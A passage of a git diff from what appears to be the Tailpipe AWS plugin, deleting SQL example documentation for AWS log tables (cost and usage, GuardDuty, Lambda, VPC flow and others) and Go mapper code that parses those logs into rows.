>= cast(date_trunc('month', current_date) as varchar) -group by - linked_account_id, linked_account_name -order by - monthly_tax_amount desc; -``` - -### Top Billing Periods by Cost -Ranks billing periods by total cost to highlight the periods with the highest spending. - -```sql -select - billing_period_start_date, - billing_period_end_date, - sum(total_cost) as billing_period_total_cost -from - aws_cost_usage_log -group by - billing_period_start_date, billing_period_end_date -order by - billing_period_total_cost desc -limit 10; -``` - -### Cost by Currency Code -Groups costs by currency code, which is useful in multi-currency scenarios to monitor costs in different currencies. - -```sql -select - currency_code, - sum(total_cost) as total_currency_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - currency_code -order by - total_currency_cost desc; -``` - -### Top 10 Product Codes by Usage Quantity -Identifies product codes with the highest usage quantities, offering insights into frequently used services. - -```sql -select - product_code, - sum(usage_quantity) as total_usage_quantity -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - product_code -order by - total_usage_quantity desc -limit 10; -``` - -### Cost by Seller of Record -Breaks down costs by seller to understand charges from specific sellers of AWS products. - -```sql -select - seller_of_record, - sum(total_cost) as total_seller_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - seller_of_record -order by - total_seller_cost desc; -``` - -### High Blended Rate Products -Lists products with a high blended rate, helping to identify products with significant effective rates. - -```sql -select - product_name, - avg(blended_rate) as average_blended_rate -from - aws_cost_usage_log -where - blended_rate is not null - and tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - product_name -order by - average_blended_rate desc -limit 10; -``` - -### Invoices with Highest Cost Before Tax -Displays invoices with the highest cost before tax, useful for analyzing specific large charges. - -```sql -select - invoice_id, - sum(cost_before_tax) as total_cost_before_tax -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - invoice_id -order by - total_cost_before_tax desc -limit 10; -``` - -### Monthly Cost Change Percentage by Product -Calculates the month-over-month cost change percentage for each product, providing insights into spending increases or decreases. - -```sql -with monthly_costs as ( - select - product_name, - date_trunc('month', cast(tp_date as date)) as month, - sum(total_cost) as monthly_cost - from - aws_cost_usage_log - group by - product_name, month - ), - monthly_changes as ( - select - product_name, - month, - monthly_cost, - lag(monthly_cost) over (partition by product_name order by month) as previous_month_cost - from - monthly_costs - ) -select - product_name, - month, - (monthly_cost - previous_month_cost) / previous_month_cost * 100 as cost_change_percentage -from - monthly_changes -where - previous_month_cost is not null - and product_name != '' - and cost_change_percentage != 0 -order by - product_name, month; -``` \ No newline at end of file diff --git a/docs/tables/aws_elb_access_log.md b/docs/tables/aws_elb_access_log.md deleted file mode 100644 index 7b1989a2..00000000 --- a/docs/tables/aws_elb_access_log.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Tailpipe Table: aws_elb_access_log - Query AWS Elastic Load Balancer Access Logs" -description: "Allows users to query AWS Elastic Load Balancer access logs." ---- - -# Table: aws_elb_access_log - Query AWS Elastic Load Balancer Access Logs - -*TODO*: Add description - -## Table Usage Guide - -The `aws_elb_access_log` table allows you to query data from AWS Elastic Load Balancer access logs. This table provides detailed information about client requests made to your Elastic Load Balancer, including the request time, client IP address, request method, response status code, and more. - -## Examples - -### Top Requested URLs - -Displays the top requested URLs by the number of requests, helping to identify the most frequently accessed resources. - -```sql -select - request_uri, - count(*) as request_count -from - aws_elb_access_log -group by - request_uri -order by - request_count desc -limit 10; -``` diff --git a/docs/tables/aws_guardduty_finding.md b/docs/tables/aws_guardduty_finding.md deleted file mode 100644 index 07d364f6..00000000 --- a/docs/tables/aws_guardduty_finding.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: "Tailpipe Table: aws_guardduty_finding - Query AWS GuardDuty Findings" -description: "Allows users to query AWS GuardDuty findings." ---- - -# Table: aws_guardduty_finding - Query AWS GuardDuty Findings - -*TODO*: Add description - -## Table Usage Guide - -The `aws_guardduty_finding` table allows you to query data from AWS GuardDuty findings. This table provides detailed information about security findings detected by AWS GuardDuty, including the finding type, severity, resource details, and more. - -## Examples - -### Detect High Severity Findings -Flags high severity findings detected by AWS GuardDuty, which may indicate potential security threats. - -```sql -select - resource.resource_type, - resource.resource_id, - severity, - type, - title, - description, - service_action.action_type, - service_action.action_target, - service_action.evidence, - resource_details.instance_details.instance_id, - resource_details.instance_details.instance_type, - resource_details.instance_details.launch_time, - resource_details.instance_details.availability_zone, - resource_details.instance_details.image_id, - resource_details.instance_details.image_description, - resource_details.instance_details.network_interfaces, - resource_details.instance_details.tags, - resource_details.resource_role, - resource_details.resource_type, - resource_details.resource_name, - resource_details.resource_creation_time, - resource_details.resource_deletion_time, - resource_details.resource_details, - resource_details.resource_status, - resource_details.resource_status_reason, - resource_details.resource_status_reason_code, - resource_details.resource_status_reason_message, - resource_details.resource_status_reason_details, - resource_details.resource_status_reason_details_message, - resource_details.resource_status_reason_details_code, - resource_details.resource_status_reason_details_status -from - aws_guardduty_finding -where - severity >= 7 -order by - severity desc; -``` \ No newline at end of file diff --git a/docs/tables/aws_lambda_log.md b/docs/tables/aws_lambda_log.md deleted file mode 100644 index b14181bc..00000000 --- a/docs/tables/aws_lambda_log.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Tailpipe Table: aws_lambda_log - Query AWS Lambda Logs" -description: "Allows users to query AWS Lambda logs." ---- - -# Table: aws_lambda_log - Query AWS Lambda Logs - -*TODO*: Add description - -## Table Usage Guide - -The `aws_lambda_log` table allows you to query data from AWS Lambda logs. This table provides detailed information about AWS Lambda function invocations, including the function name, request ID, duration, memory usage, and more. - -## Examples - -### Total Invocations by Function - -Calculates the total number of invocations for each AWS Lambda function to identify the most frequently invoked functions. - -```sql -select - function_name, - count(*) as invocation_count -from - aws_lambda_log -group by - function_name -order by - invocation_count desc -limit 10; -``` \ No newline at end of file diff --git a/docs/tables/aws_s3_server_access_log.md b/docs/tables/aws_s3_server_access_log.md deleted file mode 100644 index 1324258b..00000000 --- a/docs/tables/aws_s3_server_access_log.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Tailpipe Table: aws_s3_server_access_log - Query AWS S3 Server Access Logs" -description: "Allows users to query AWS S3 server access logs." ---- - -# Table: aws_s3_server_access_log - Query AWS S3 Server Access Logs - -*TODO*: Add description - -## Table Usage Guide - -The `aws_s3_server_access_log` table allows you to query data from AWS S3 server access logs. This table provides detailed information about requests made to your S3 bucket, including the request time, requestor IP address, request method, response status code, and more. - -## Examples - -### Top Requested URLs - -Displays the top requested URLs by the number of requests, helping to identify the most frequently accessed resources. - -```sql -select - request_uri, - count(*) as request_count -from - aws_s3_server_access_log -group by - request_uri -order by - request_count desc -limit 10; -``` \ No newline at end of file diff --git a/docs/tables/aws_securityhub_finding.md b/docs/tables/aws_securityhub_finding.md deleted file mode 100644 index 6f7c0de3..00000000 --- a/docs/tables/aws_securityhub_finding.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Tailpipe Table: aws_securityhub_finding - Query AWS Security Hub Findings" -description: "Allows users to query AWS Security Hub findings." ---- - -# Table: aws_securityhub_finding - Query AWS Security Hub Findings - -*TODO*: Add description - -## Table Usage Guide - -The `aws_securityhub_finding` table allows you to query data from AWS Security Hub findings. This table provides detailed information about security findings detected by AWS Security Hub, including the finding type, severity, resource details, and more. - -## Examples - -### Placeholder Query - -```sql -select - * -from - aws_securityhub_finding; -``` diff --git a/docs/tables/aws_vpc_flow_log.md b/docs/tables/aws_vpc_flow_log.md deleted file mode 100644 index a0e74858..00000000 --- a/docs/tables/aws_vpc_flow_log.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Tailpipe Table: aws_vpc_flow_log - Query AWS VPC Flow Logs" -description: "Allows users to query AWS VPC flow logs." ---- - -# Table: aws_vpc_flow_log - Query AWS VPC Flow Logs - -*TODO*: Add description - -## Table Usage Guide - -The `aws_vpc_flow_log` table allows you to query data from AWS VPC flow logs. This table provides detailed information about network traffic within your VPC, including the source and destination IP addresses, ports, protocol, and more. - -## Examples - -### Top Source IP Addresses - -Displays the top source IP addresses by the number of bytes sent, helping to identify the most active sources of network traffic. - -```sql -select - srcaddr, - sum(bytes) as total_bytes_sent -from - aws_vpc_flow_log -group by - srcaddr -order by - total_bytes_sent desc -limit 10; -``` \ No newline at end of file diff --git a/docs/tables/aws_waf_traffic_log.md b/docs/tables/aws_waf_traffic_log.md deleted file mode 100644 index 5fdc7757..00000000 --- a/docs/tables/aws_waf_traffic_log.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Tailpipe Table: aws_waf_traffic_log - Query AWS WAF Traffic Logs" -description: "Allows users to query AWS WAF traffic logs." ---- - -# Table: aws_waf_traffic_log - Query AWS WAF Traffic Logs - -*TODO*: Add description - -## Table Usage Guide - -The `aws_waf_traffic_log` table allows you to query data from AWS WAF traffic logs. This table provides detailed information about web requests that were inspected by AWS WAF, including the request time, client IP address, request method, response status code, and more. - -## Examples - -### Placeholder Query - -```sql -select - * -from - aws_waf_traffic_log; -``` \ No newline at end of file diff --git a/mappers/cost_usage_mapper.go b/mappers/cost_usage_mapper.go deleted file mode 100644 index d926dc97..00000000 --- a/mappers/cost_usage_mapper.go +++ /dev/null @@ -1,96 +0,0 @@ -package mappers - -import ( - "context" - "encoding/csv" - "fmt" - "strconv" - "strings" - "time" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -type CostAndUsageLogMapper struct { -} - -func (c *CostAndUsageLogMapper) Identifier() string { - return "cost_and_usage_mapper" -} - -func (c *CostAndUsageLogMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.CostAndUsageLog]) (*rows.CostAndUsageLog, error) { - csvRow, ok := a.(string) - if !ok { - return nil, fmt.Errorf("input data is not of type string") - } - - r := csv.NewReader(strings.NewReader(csvRow)) - r.TrimLeadingSpace = true - row, err := r.Read() - if err != nil { - fmt.Println("Error reading CSV data:", err) - return nil, err - } - - // TODO - find a better way of doing this parsing - // this works for now, since the csv columns are fixed and ordered - log := &rows.CostAndUsageLog{ - InvoiceID: &row[0], - PayerAccountId: &row[1], - LinkedAccountId: &row[2], - RecordType: &row[3], - RecordID: &row[4], - BillingPeriodStartDate: parseTime(row[5]), - BillingPeriodEndDate: parseTime(row[6]), - InvoiceDate: parseTime(row[7]), - PayerAccountName: &row[8], - LinkedAccountName: &row[9], - TaxationAddress: &row[10], - PayerPONumber: &row[11], - ProductCode: &row[12], - ProductName: &row[13], - SellerOfRecord: &row[14], - UsageType: &row[15], - Operation: &row[16], - RateId: &row[17], - ItemDescription: &row[18], - UsageStartDate: parseTime(row[19]), - UsageEndDate: parseTime(row[20]), - UsageQuantity: parseFloat(row[21]), - BlendedRate: &row[22], - CurrencyCode: &row[23], - CostBeforeTax: parseFloat(row[24]), - Credits: parseFloat(row[25]), - TaxAmount: parseFloat(row[26]), - TaxType: &row[27], - TotalCost: parseFloat(row[28]), - } - - return log, nil -} - -func parseTime(value string) *time.Time { - if value == "" { - return nil - } - layout := "2006/01/02 15:04:05" - t, err := time.Parse(layout, value) - if err != nil { - fmt.Println("Error parsing time:", err) - return nil - } - return &t -} - -func parseFloat(value string) *float64 { - if value == "" { - return nil - } - f, err := strconv.ParseFloat(value, 64) - if err != nil { - fmt.Println("Error parsing float:", err) - return nil - } - return &f -} diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go deleted file mode 100644 index 837b1824..00000000 --- a/mappers/guardduty_mapper.go +++ /dev/null @@ -1,304 +0,0 @@ -package mappers - -import ( - "context" - "encoding/json" - "fmt" - "regexp" - "strconv" - "time" - - "github.com/aws/aws-sdk-go-v2/service/guardduty/types" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -// GuardDutyMapper is a mapper that receives GuardDutyBatch objects and extracts GuardDutyFinding records from them -type GuardDutyMapper struct { -} - -func (g *GuardDutyMapper) Identifier() string { - return "guardduty_mapper" -} - -// Map casts the data item as a GuardDutyBatch and returns the GuardDutyFinding records -func (g *GuardDutyMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.GuardDutyFinding]) (*rows.GuardDutyFinding, error) { - var jsonBytes []byte - // The expected input type is a JSON byte[] deserializable to GuardDutyBatch - switch v := a.(type) { - case []byte: - jsonBytes = v - case string: - jsonBytes = []byte(v) - default: - return nil, fmt.Errorf("expected byte[] or string, got %T", a) - } - - // pre-process JSON for compatibility issue(s) with AWS SDK https://github.com/aws/aws-sdk-go-v2/issues/2145 - jsonBytes = preprocessJSON(jsonBytes) - - // Decode JSON into AWS SDK `types.Finding` - var finding types.Finding - err := json.Unmarshal(jsonBytes, &finding) - if err != nil { - return nil, fmt.Errorf("error decoding JSON to findings: %w", err) - } - - // Populate `GuardDutyFinding` instance with values from `types.Finding` - row := &rows.GuardDutyFinding{ - AccountId: finding.AccountId, - Arn: finding.Arn, - Description: finding.Description, - Id: finding.Id, - Partition: finding.Partition, - Region: finding.Region, - SchemaVersion: finding.SchemaVersion, - Severity: finding.Severity, - Title: finding.Title, - Type: finding.Type, - } - - if finding.CreatedAt != nil { - row.CreatedAt, err = time.Parse(time.RFC3339, *finding.CreatedAt) - if err != nil { - return nil, fmt.Errorf("error parsing CreatedAt: %w", err) - } - } - - if finding.UpdatedAt != nil { - var updatedAt time.Time - updatedAt, err = time.Parse(time.RFC3339, *finding.UpdatedAt) - if err != nil { - return nil, fmt.Errorf("error parsing UpdatedAt: %w", err) - } - row.UpdatedAt = &updatedAt - } - - // service - if finding.Service != nil { - row.Service = &rows.GuardDutyFindingService{ - Archived: finding.Service.Archived, - Count: finding.Service.Count, - Detection: finding.Service.Detection, - DetectorId: finding.Service.DetectorId, - EbsVolumeScanDetails: finding.Service.EbsVolumeScanDetails, - EventFirstSeen: finding.Service.EventFirstSeen, - EventLastSeen: finding.Service.EventLastSeen, - Evidence: finding.Service.Evidence, - FeatureName: finding.Service.FeatureName, - MalwareScanDetails: finding.Service.MalwareScanDetails, - ResourceRole: finding.Service.ResourceRole, - ServiceName: finding.Service.ServiceName, - UserFeedback: finding.Service.UserFeedback, - } - - // service.action - if finding.Service.Action != nil { - row.Service.Action = &rows.GuardDutyFindingAction{ - ActionType: finding.Service.Action.ActionType, - } - - var details map[string]interface{} - switch { - case finding.Service.Action.AwsApiCallAction != nil: - details, err = convertToMap(finding.Service.Action.AwsApiCallAction) - case finding.Service.Action.DnsRequestAction != nil: - details, err = convertToMap(finding.Service.Action.DnsRequestAction) - case finding.Service.Action.NetworkConnectionAction != nil: - details, err = convertToMap(finding.Service.Action.NetworkConnectionAction) - case finding.Service.Action.PortProbeAction != nil: - details, err = convertToMap(finding.Service.Action.PortProbeAction) - case finding.Service.Action.KubernetesApiCallAction != nil: - details, err = convertToMap(finding.Service.Action.KubernetesApiCallAction) - case finding.Service.Action.KubernetesPermissionCheckedDetails != nil: - details, err = convertToMap(finding.Service.Action.KubernetesPermissionCheckedDetails) - case finding.Service.Action.KubernetesRoleDetails != nil: - details, err = convertToMap(finding.Service.Action.KubernetesRoleDetails) - case finding.Service.Action.KubernetesRoleBindingDetails != nil: - details, err = convertToMap(finding.Service.Action.KubernetesRoleBindingDetails) - case finding.Service.Action.RdsLoginAttemptAction != nil: - details, err = convertToMap(finding.Service.Action.RdsLoginAttemptAction) - } - - row.Service.Action.ActionDetails = details - } - - // service.additionInfo - if finding.Service.AdditionalInfo != nil { - row.Service.AdditionalInfo = &rows.GuardDutyFindingServiceAdditionInfo{ - Type: finding.Service.AdditionalInfo.Type, - Value: finding.Service.AdditionalInfo.Value, - } - } - - // service.runtimeDetails - if finding.Service.RuntimeDetails != nil { - var runtimeDetails rows.GuardDutyFindingRuntimeDetails - - // service.runtimeDetails.context - if finding.Service.RuntimeDetails.Context != nil { - runtimeDetails.Context = &rows.GuardDutyFindingRuntimeDetailsContext{ - AddressFamily: finding.Service.RuntimeDetails.Context.AddressFamily, - CommandLineExample: finding.Service.RuntimeDetails.Context.CommandLineExample, - FileSystemType: finding.Service.RuntimeDetails.Context.FileSystemType, - Flags: finding.Service.RuntimeDetails.Context.Flags, - IanaProtocolNumber: finding.Service.RuntimeDetails.Context.IanaProtocolNumber, - LdPreloadValue: finding.Service.RuntimeDetails.Context.LdPreloadValue, - LibraryPath: finding.Service.RuntimeDetails.Context.LibraryPath, - MemoryRegions: finding.Service.RuntimeDetails.Context.MemoryRegions, - ModifiedAt: finding.Service.RuntimeDetails.Context.ModifiedAt, - ModuleFilePath: finding.Service.RuntimeDetails.Context.ModuleFilePath, - ModuleName: finding.Service.RuntimeDetails.Context.ModuleName, - ModuleSha256: finding.Service.RuntimeDetails.Context.ModuleSha256, - MountSource: finding.Service.RuntimeDetails.Context.MountSource, - MountTarget: finding.Service.RuntimeDetails.Context.MountTarget, - ReleaseAgentPath: finding.Service.RuntimeDetails.Context.ReleaseAgentPath, - RuncBinaryPath: finding.Service.RuntimeDetails.Context.RuncBinaryPath, - ScriptPath: finding.Service.RuntimeDetails.Context.ScriptPath, - ServiceName: finding.Service.RuntimeDetails.Context.ServiceName, - ShellHistoryPath: finding.Service.RuntimeDetails.Context.ShellHistoryFilePath, - SocketPath: finding.Service.RuntimeDetails.Context.SocketPath, - ThreatFilePath: finding.Service.RuntimeDetails.Context.ThreatFilePath, - ToolCategory: finding.Service.RuntimeDetails.Context.ToolCategory, - ToolName: finding.Service.RuntimeDetails.Context.ToolName, - } - - // service.runtimeDetails.context.modifyingProcess - if finding.Service.RuntimeDetails.Context.ModifyingProcess != nil { - runtimeDetails.Context.ModifyingProcess = &rows.GuardDutyFindingsProcessDetails{ - Euid: finding.Service.RuntimeDetails.Context.ModifyingProcess.Euid, - ExecutablePath: finding.Service.RuntimeDetails.Context.ModifyingProcess.ExecutablePath, - ExecutableSha256: finding.Service.RuntimeDetails.Context.ModifyingProcess.ExecutableSha256, - Name: finding.Service.RuntimeDetails.Context.ModifyingProcess.Name, - NamespacePid: finding.Service.RuntimeDetails.Context.ModifyingProcess.NamespacePid, - ParentUuid: finding.Service.RuntimeDetails.Context.ModifyingProcess.ParentUuid, - Pid: finding.Service.RuntimeDetails.Context.ModifyingProcess.Pid, - Pwd: finding.Service.RuntimeDetails.Context.ModifyingProcess.Pwd, - StartTime: finding.Service.RuntimeDetails.Context.ModifyingProcess.StartTime, - User: finding.Service.RuntimeDetails.Context.ModifyingProcess.User, - UserId: finding.Service.RuntimeDetails.Context.ModifyingProcess.UserId, - Uuid: finding.Service.RuntimeDetails.Context.ModifyingProcess.Uuid, - } - } - - // service.runtimeDetails.context.targetProcess - if finding.Service.RuntimeDetails.Context.TargetProcess != nil { - runtimeDetails.Context.TargetProcess = &rows.GuardDutyFindingsProcessDetails{ - Euid: finding.Service.RuntimeDetails.Context.TargetProcess.Euid, - ExecutablePath: finding.Service.RuntimeDetails.Context.TargetProcess.ExecutablePath, - ExecutableSha256: finding.Service.RuntimeDetails.Context.TargetProcess.ExecutableSha256, - Name: finding.Service.RuntimeDetails.Context.TargetProcess.Name, - NamespacePid: finding.Service.RuntimeDetails.Context.TargetProcess.NamespacePid, - ParentUuid: finding.Service.RuntimeDetails.Context.TargetProcess.ParentUuid, - Pid: finding.Service.RuntimeDetails.Context.TargetProcess.Pid, - Pwd: finding.Service.RuntimeDetails.Context.TargetProcess.Pwd, - StartTime: finding.Service.RuntimeDetails.Context.TargetProcess.StartTime, - User: finding.Service.RuntimeDetails.Context.TargetProcess.User, - UserId: finding.Service.RuntimeDetails.Context.TargetProcess.UserId, - Uuid: finding.Service.RuntimeDetails.Context.TargetProcess.Uuid, - } - } - } - - // service.runtimeDetails.process - if finding.Service.RuntimeDetails.Process != nil { - runtimeDetails.Process = &rows.GuardDutyFindingsProcessDetails{ - Euid: finding.Service.RuntimeDetails.Process.Euid, - ExecutablePath: finding.Service.RuntimeDetails.Process.ExecutablePath, - ExecutableSha256: finding.Service.RuntimeDetails.Process.ExecutableSha256, - Name: finding.Service.RuntimeDetails.Process.Name, - NamespacePid: finding.Service.RuntimeDetails.Process.NamespacePid, - ParentUuid: finding.Service.RuntimeDetails.Process.ParentUuid, - Pid: finding.Service.RuntimeDetails.Process.Pid, - Pwd: finding.Service.RuntimeDetails.Process.Pwd, - StartTime: finding.Service.RuntimeDetails.Process.StartTime, - User: finding.Service.RuntimeDetails.Process.User, - UserId: finding.Service.RuntimeDetails.Process.UserId, - Uuid: finding.Service.RuntimeDetails.Process.Uuid, - } - - row.Service.RuntimeDetails = &runtimeDetails - } - } - } - - // resource - if finding.Resource != nil { - row.Resource = &rows.GuardDutyFindingResource{ - ResourceType: finding.Resource.ResourceType, - } - - if finding.Resource.AccessKeyDetails != nil { - row.Resource.AccessKeyDetails = &rows.AccessKeyDetails{ - AccessKeyId: finding.Resource.AccessKeyDetails.AccessKeyId, - UserName: finding.Resource.AccessKeyDetails.UserName, - UserType: finding.Resource.AccessKeyDetails.UserType, - PrincipalId: finding.Resource.AccessKeyDetails.PrincipalId, - } - } - - var details map[string]interface{} - switch { - case finding.Resource.ContainerDetails != nil: - details, err = convertToMap(finding.Resource.ContainerDetails) - case finding.Resource.EbsVolumeDetails != nil: - details, err = convertToMap(finding.Resource.EbsVolumeDetails) - case finding.Resource.EcsClusterDetails != nil: - details, err = convertToMap(finding.Resource.EcsClusterDetails) - case finding.Resource.EksClusterDetails != nil: - details, err = convertToMap(finding.Resource.EksClusterDetails) - case finding.Resource.InstanceDetails != nil: - details, err = convertToMap(finding.Resource.InstanceDetails) - case finding.Resource.KubernetesDetails != nil: - details, err = convertToMap(finding.Resource.KubernetesDetails) - case finding.Resource.LambdaDetails != nil: - details, err = convertToMap(finding.Resource.LambdaDetails) - case finding.Resource.RdsDbInstanceDetails != nil: - details, err = convertToMap(finding.Resource.RdsDbInstanceDetails) - case finding.Resource.RdsDbUserDetails != nil: - details, err = convertToMap(finding.Resource.RdsDbUserDetails) - case finding.Resource.S3BucketDetails != nil: - details = map[string]interface{}{ - "s3_bucket_details": finding.Resource.S3BucketDetails, - } - } - - row.Resource.ResourceDetails = &details - } - - return row, nil -} - -func preprocessJSON(input []byte) []byte { - re := regexp.MustCompile(`"([a-zA-Z]+(?:At|Time|Seen))":(\d+(\.\d+)?E[+-]?\d+)`) - return re.ReplaceAllFunc(input, func(match []byte) []byte { - // Extract the field name and numeric value - groups := re.FindSubmatch(match) - fieldName := groups[1] // "createdAt" or "updatedAt" - numericTimestamp := groups[2] // e.g., 1.636625755218E9 - - // Parse the numeric timestamp into an integer - seconds, err := strconv.ParseFloat(string(numericTimestamp), 64) - if err != nil { - // If parsing fails, return the original match unchanged - return match - } - - // Convert seconds to ISO 8601 format - timestamp := time.Unix(int64(seconds), 0).UTC().Format(time.RFC3339) - return []byte(fmt.Sprintf(`"%s":"%s"`, fieldName, timestamp)) - }) -} - -func convertToMap(input any) (map[string]interface{}, error) { - var result map[string]interface{} - data, err := json.Marshal(input) - if err != nil { - return nil, err - } - err = json.Unmarshal(data, &result) - if err != nil { - return nil, err - } - return result, nil -} diff --git a/mappers/lambda_log_mapper.go b/mappers/lambda_log_mapper.go deleted file mode 100644 index 8636b449..00000000 --- a/mappers/lambda_log_mapper.go +++ /dev/null @@ -1,77 +0,0 @@ -package mappers - -import ( - "context" - "fmt" - "strconv" - "strings" - "time" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -type LambdaLogMapper struct { -} - -func (m *LambdaLogMapper) Identifier() string { - return "lambda_log_mapper" -} - -func (m *LambdaLogMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.LambdaLog]) (*rows.LambdaLog, error) { - row := &rows.LambdaLog{} - - rawRow, ok := a.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", a) - } - - rawRow = strings.TrimSuffix(rawRow, "\n") - fields := strings.Fields(rawRow) - - switch fields[0] { - case "START", "END": - row.LogType = &fields[0] - row.RequestID = &fields[2] - case "REPORT": - row.LogType = &fields[0] - row.RequestID = &fields[2] - duration, err := strconv.ParseFloat(fields[4], 64) - if err != nil { - return nil, fmt.Errorf("error parsing duration: %w", err) - } - row.Duration = &duration - billed, err := strconv.ParseFloat(fields[8], 64) - if err != nil { - return nil, fmt.Errorf("error parsing billed duration: %w", err) - } - row.BilledDuration = &billed - mem, err := strconv.Atoi(fields[12]) - if err != nil { - return nil, fmt.Errorf("error parsing memory size: %w", err) - } - row.MemorySize = &mem - maxMem, err := strconv.Atoi(fields[17]) - if err != nil { - return nil, fmt.Errorf("error parsing max memory used: %w", err) - } - row.MaxMemoryUsed = &maxMem - default: - t := "LOG" - row.LogType = &t - - ts, err := time.Parse(time.RFC3339, fields[0]) - if err != nil { - return nil, fmt.Errorf("error parsing timestamp: %w", err) - } - row.Timestamp = &ts - - row.RequestID = &fields[1] - row.LogLevel = &fields[2] - strip := fmt.Sprintf("%s%s", strings.Join(fields[:3], "\t"), "\t") - stripped := strings.TrimPrefix(rawRow, strip) - row.Message = &stripped - } - - return row, nil -} diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go deleted file mode 100644 index 9d21eb0e..00000000 --- a/mappers/securityhub_finding_mapper.go +++ /dev/null @@ -1,39 +0,0 @@ -package mappers - -import ( - "context" - "encoding/json" - "fmt" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -type SecurityHubFindingMapper struct { -} - -func (m *SecurityHubFindingMapper) Identifier() string { - return "security_hub_finding_mapper" -} - -func (m *SecurityHubFindingMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.SecurityHubFinding]) (*rows.SecurityHubFinding, error) { - var b rows.SecurityHubFinding - - switch data := a.(type) { - case []byte: - if err := json.Unmarshal(data, &b); err != nil { - return nil, fmt.Errorf("error unmarshalling row data: %w", err) - } - case string: - if err := json.Unmarshal([]byte(data), &b); err != nil { - return nil, fmt.Errorf("error unmarshalling row data: %w", err) - } - case rows.SecurityHubFinding: - b = data - default: - return nil, fmt.Errorf("expected byte[], string or rows.SecurityHubFinding, got %T", a) - } - - return &b, nil - -} diff --git a/mappers/vpc_flow_log_mapper.go b/mappers/vpc_flow_log_mapper.go deleted file mode 100644 index 79d028fa..00000000 --- a/mappers/vpc_flow_log_mapper.go +++ /dev/null @@ -1,189 +0,0 @@ -package mappers - -import ( - "context" - "fmt" - "log/slog" - "strconv" - "strings" - "time" - - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -// VpcFlowLogMapper is a mapper that receives string objects and extracts VpcFlowLog record -type VpcFlowLogMapper struct { - schema []string -} - -func NewVpcFlowLogMapper(schema []string) *VpcFlowLogMapper { - return &VpcFlowLogMapper{ - schema: schema, - } - -} - -func (c *VpcFlowLogMapper) Identifier() string { - return "vpc_flow_log_mapper" -} - -// Map casts the data item as an string and returns the VpcFlowLog records -func (c *VpcFlowLogMapper) Map(_ context.Context, a any, _ ...table.MapOption[*rows.VpcFlowLog]) (*rows.VpcFlowLog, error) { - rowString, ok := a.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", a) - } - - fields := strings.Fields(rowString) - - if len(fields) > len(c.schema) { - slog.Error("row has more fields than c.schema allows", "fields", fields, "schema", c.schema) - return nil, fmt.Errorf("row has more fields than c.schema allows") - } - - flowLog := &rows.VpcFlowLog{} - for i, field := range fields { - // skip empty fields - if field == "-" { - continue - } - switch c.schema[i] { - case "timestamp": - timestamp, err := time.Parse(time.RFC3339, field) - if err != nil { - return nil, fmt.Errorf("invalid timestamp: %s", field) - } - flowLog.Timestamp = ×tamp - case "version": - version, err := strconv.ParseInt(field, 10, 32) - if err != nil { - return nil, fmt.Errorf("invalid version: %s", field) - } - v := int32(version) - flowLog.Version = &v - case "account-id": - flowLog.AccountID = &field - case "interface-id": - flowLog.InterfaceID = &field - case "srcaddr": - flowLog.SrcAddr = &field - case "dstaddr": - flowLog.DstAddr = &field - case "srcport": - srcPort, err := strconv.ParseInt(field, 10, 32) - if err != nil { - return nil, fmt.Errorf("invalid srcport: %s", field) - } - v := int32(srcPort) - flowLog.SrcPort = &v - case "dstport": - dstPort, err := strconv.ParseInt(field, 10, 32) - if err != nil { - return nil, fmt.Errorf("invalid dstport: %s", field) - } - v := int32(dstPort) - flowLog.DstPort = &v - case "protocol": - protocol, err := strconv.ParseInt(field, 10, 32) - if err != nil { - return nil, fmt.Errorf("invalid protocol: %s", field) - } - v := int32(protocol) - flowLog.Protocol = &v - case "packets": - packets, err := strconv.ParseInt(field, 10, 64) - if err != nil { - return nil, fmt.Errorf("invalid packets: %s", field) - } - flowLog.Packets = &packets - case "bytes": - bytes, err := strconv.ParseInt(field, 10, 64) - if err != nil { - return nil, fmt.Errorf("invalid bytes: %s", field) - } - flowLog.Bytes = &bytes - case "start": - start, err := strconv.ParseInt(field, 10, 64) - if err != nil { - return nil, fmt.Errorf("invalid start: %s", field) - } - flowLog.Start = &start - case "end": - end, err := strconv.ParseInt(field, 10, 64) - if err != nil { - return nil, fmt.Errorf("invalid end: %s", field) - } - flowLog.End = &end - case "action": - flowLog.Action = &field - case "log-status": - flowLog.LogStatus = &field - case "vpc-id": - flowLog.VPCID = &field - case "subnet-id": - flowLog.SubnetID = &field - case "instance-id": - flowLog.InstanceID = &field - case "tcp-flags": - tcpFlags, err := strconv.ParseInt(field, 10, 32) - if err != nil { - return nil, fmt.Errorf("invalid tcp-flags: %s", field) - } - v := int32(tcpFlags) - flowLog.TCPFlags = &v - case "type": - flowLog.Type = &field - case "pkt-srcaddr": - flowLog.PktSrcAddr = &field - case "pkt-dstaddr": - flowLog.PktDstAddr = &field - case "region": - flowLog.Region = &field - case "az-id": - 